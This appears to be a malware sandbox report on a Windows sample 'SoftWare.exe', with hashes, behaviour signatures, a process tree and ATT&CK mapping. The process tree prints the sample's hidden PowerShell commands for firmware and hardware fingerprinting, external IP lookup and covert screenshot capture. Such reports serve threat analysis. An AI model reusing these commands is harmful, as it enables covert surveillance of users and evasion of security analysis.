c9e9d9249cb8c708320a3292768dab0c1e61ef2e5437c45a795fd7b651058b3c

Analysis

max time kernel
149s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/04/2026, 03:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SoftWare.exe
Size 111.9MB
Sample260424-ejezcaet4y
SHA256 c9e9d9249cb8c708320a3292768dab0c1e61ef2e5437c45a795fd7b651058b3c
MD5 fb0e38ad9e0cf7ff8e3ef856b95c10ef
SHA1 954a73a679beb7d033224ac4a9e378e53fd01140
SHA512 d9f165fea3fc41a629b73ec1c4b1decbe4477001ed83340b70fbc384b07801bae6be62bcb9ecd999b70543e76240b8c310ce741a40f2492b58870b5219b1f39a
SSDEEP 1572864:bAXffHRdXmZF8CY8EpRIf2pjmom3H7S7u+VYBjqwb:W3iXdqwb
TLSH
T15B486C43B2A75098E4BBC97582D65323E9337C8A1F3069EF15845B312F73AE09B39B15
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
764	powershell.exe
1864	powershell.exe
2232	powershell.exe
1312	powershell.exe
3308	powershell.exe
2840	powershell.exe
4776	powershell.exe
5944	powershell.exe
2676	powershell.exe
4372	powershell.exe
4736	powershell.exe
3680	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	api.ipify.org
17	api.ipify.org

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
764	powershell.exe
764	powershell.exe
5944	powershell.exe
5944	powershell.exe
1864	powershell.exe
1864	powershell.exe
2232	powershell.exe
2232	powershell.exe
2676	powershell.exe
2676	powershell.exe
1312	powershell.exe
1312	powershell.exe
3308	powershell.exe
3308	powershell.exe
4372	powershell.exe
4372	powershell.exe
4736	powershell.exe
4736	powershell.exe
3680	powershell.exe
3680	powershell.exe
2840	powershell.exe
2840	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	764	powershell.exe
Token: SeDebugPrivilege	5944	powershell.exe
Token: SeIncreaseQuotaPrivilege	5944	powershell.exe
Token: SeSecurityPrivilege	5944	powershell.exe
Token: SeTakeOwnershipPrivilege	5944	powershell.exe
Token: SeLoadDriverPrivilege	5944	powershell.exe
Token: SeSystemProfilePrivilege	5944	powershell.exe
Token: SeSystemtimePrivilege	5944	powershell.exe
Token: SeProfSingleProcessPrivilege	5944	powershell.exe
Token: SeIncBasePriorityPrivilege	5944	powershell.exe
Token: SeCreatePagefilePrivilege	5944	powershell.exe
Token: SeBackupPrivilege	5944	powershell.exe
Token: SeRestorePrivilege	5944	powershell.exe
Token: SeShutdownPrivilege	5944	powershell.exe
Token: SeDebugPrivilege	5944	powershell.exe
Token: SeSystemEnvironmentPrivilege	5944	powershell.exe
Token: SeRemoteShutdownPrivilege	5944	powershell.exe
Token: SeUndockPrivilege	5944	powershell.exe
Token: SeManageVolumePrivilege	5944	powershell.exe
Token: 33	5944	powershell.exe
Token: 34	5944	powershell.exe
Token: 35	5944	powershell.exe
Token: 36	5944	powershell.exe
Token: SeDebugPrivilege	1864	powershell.exe
Token: SeIncreaseQuotaPrivilege	1864	powershell.exe
Token: SeSecurityPrivilege	1864	powershell.exe
Token: SeTakeOwnershipPrivilege	1864	powershell.exe
Token: SeLoadDriverPrivilege	1864	powershell.exe
Token: SeSystemProfilePrivilege	1864	powershell.exe
Token: SeSystemtimePrivilege	1864	powershell.exe
Token: SeProfSingleProcessPrivilege	1864	powershell.exe
Token: SeIncBasePriorityPrivilege	1864	powershell.exe
Token: SeCreatePagefilePrivilege	1864	powershell.exe
Token: SeBackupPrivilege	1864	powershell.exe
Token: SeRestorePrivilege	1864	powershell.exe
Token: SeShutdownPrivilege	1864	powershell.exe
Token: SeDebugPrivilege	1864	powershell.exe
Token: SeSystemEnvironmentPrivilege	1864	powershell.exe
Token: SeRemoteShutdownPrivilege	1864	powershell.exe
Token: SeUndockPrivilege	1864	powershell.exe
Token: SeManageVolumePrivilege	1864	powershell.exe
Token: 33	1864	powershell.exe
Token: 34	1864	powershell.exe
Token: 35	1864	powershell.exe
Token: 36	1864	powershell.exe
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeIncreaseQuotaPrivilege	2232	powershell.exe
Token: SeSecurityPrivilege	2232	powershell.exe
Token: SeTakeOwnershipPrivilege	2232	powershell.exe
Token: SeLoadDriverPrivilege	2232	powershell.exe
Token: SeSystemProfilePrivilege	2232	powershell.exe
Token: SeSystemtimePrivilege	2232	powershell.exe
Token: SeProfSingleProcessPrivilege	2232	powershell.exe
Token: SeIncBasePriorityPrivilege	2232	powershell.exe
Token: SeCreatePagefilePrivilege	2232	powershell.exe
Token: SeBackupPrivilege	2232	powershell.exe
Token: SeRestorePrivilege	2232	powershell.exe
Token: SeShutdownPrivilege	2232	powershell.exe
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeSystemEnvironmentPrivilege	2232	powershell.exe
Token: SeRemoteShutdownPrivilege	2232	powershell.exe
Token: SeUndockPrivilege	2232	powershell.exe
Token: SeManageVolumePrivilege	2232	powershell.exe
Token: 33	2232	powershell.exe

Suspicious use of WriteProcessMemory 29 IoCs

description	pid	Process	procid_target
PID 5492 wrote to memory of 956	5492	SoftWare.exe	85
PID 956 wrote to memory of 4776	956	cmd.exe	87
PID 5492 wrote to memory of 808	5492	SoftWare.exe	88
PID 808 wrote to memory of 764	808	cmd.exe	90
PID 764 wrote to memory of 2824	764	powershell.exe	91
PID 5492 wrote to memory of 1740	5492	SoftWare.exe	94
PID 1740 wrote to memory of 5944	1740	cmd.exe	96
PID 5492 wrote to memory of 3748	5492	SoftWare.exe	99
PID 3748 wrote to memory of 1864	3748	cmd.exe	101
PID 5492 wrote to memory of 1092	5492	SoftWare.exe	102
PID 1092 wrote to memory of 2232	1092	cmd.exe	104
PID 5492 wrote to memory of 5344	5492	SoftWare.exe	105
PID 5344 wrote to memory of 2676	5344	cmd.exe	107
PID 5492 wrote to memory of 2844	5492	SoftWare.exe	108
PID 2844 wrote to memory of 1312	2844	cmd.exe	110
PID 5492 wrote to memory of 5172	5492	SoftWare.exe	111
PID 5172 wrote to memory of 3308	5172	cmd.exe	113
PID 5492 wrote to memory of 3456	5492	SoftWare.exe	114
PID 3456 wrote to memory of 748	3456	cmd.exe	116
PID 5492 wrote to memory of 1292	5492	SoftWare.exe	117
PID 1292 wrote to memory of 2328	1292	cmd.exe	119
PID 5492 wrote to memory of 4404	5492	SoftWare.exe	121
PID 4404 wrote to memory of 4372	4404	cmd.exe	123
PID 5492 wrote to memory of 5136	5492	SoftWare.exe	124
PID 5136 wrote to memory of 4736	5136	cmd.exe	126
PID 5492 wrote to memory of 2172	5492	SoftWare.exe	127
PID 2172 wrote to memory of 3680	2172	cmd.exe	129
PID 5492 wrote to memory of 1316	5492	SoftWare.exe	130
PID 1316 wrote to memory of 2840	1316	cmd.exe	132

C:\Users\Admin\AppData\Local\Temp\SoftWare.exe
"C:\Users\Admin\AppData\Local\Temp\SoftWare.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"|\\");}c.Clear();}}return s.ToString();}' -Name R1 -Namespace HW -Using System.Runtime.InteropServices; [HW.R1]::R()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x>=0x20&&x<0x7F)c.Append((char)x);else{if(c.Length>=4){s.Append(c);s.Append(\\"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-Type -MemberDefinition '[DllImport(\\"kernel32.dll\\",SetLastError=true)]public static extern uint EnumSystemFirmwareTables(uint sig,IntPtr buf,uint sz);public static string L(){uint n=EnumSystemFirmwareTables(0x41435049,IntPtr.Zero,0);if(n==0)return\\"\\";IntPtr b=Marshal.AllocHGlobal((int)n);EnumSystemFirmwareTables(0x41435049,b,n);var r=new System.Text.StringBuilder();for(int i=0;i<(int)(n/4);i++){byte[] s=new byte[4];Marshal.Copy(b+i*4,s,0,4);r.Append(System.Text.Encoding.ASCII.GetString(s));r.Append(\\",\\");}Marshal.FreeHGlobal(b);return r.ToString();}' -Name R2 -Namespace HW2 -Using System.Runtime.InteropServices; [HW2.R2]::L()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:764
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ccqcsqfr\ccqcsqfr.cmdline"
      4⤵
      PID:2824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_ComputerSystem | Select-Object Manufacturer | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_SoundDevice | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Manufacturer /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3456
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Manufacturer /format:list
    3⤵
    PID:748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Product /format:list"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1292
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic baseboard get Product /format:list
    3⤵
    PID:2328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PnPEntity | Select-Object Name | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Size | Format-List"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);$g=[Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);$ms=New-Object IO.MemoryStream;$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);[Convert]::ToBase64String($ms.ToArray())"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2840

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...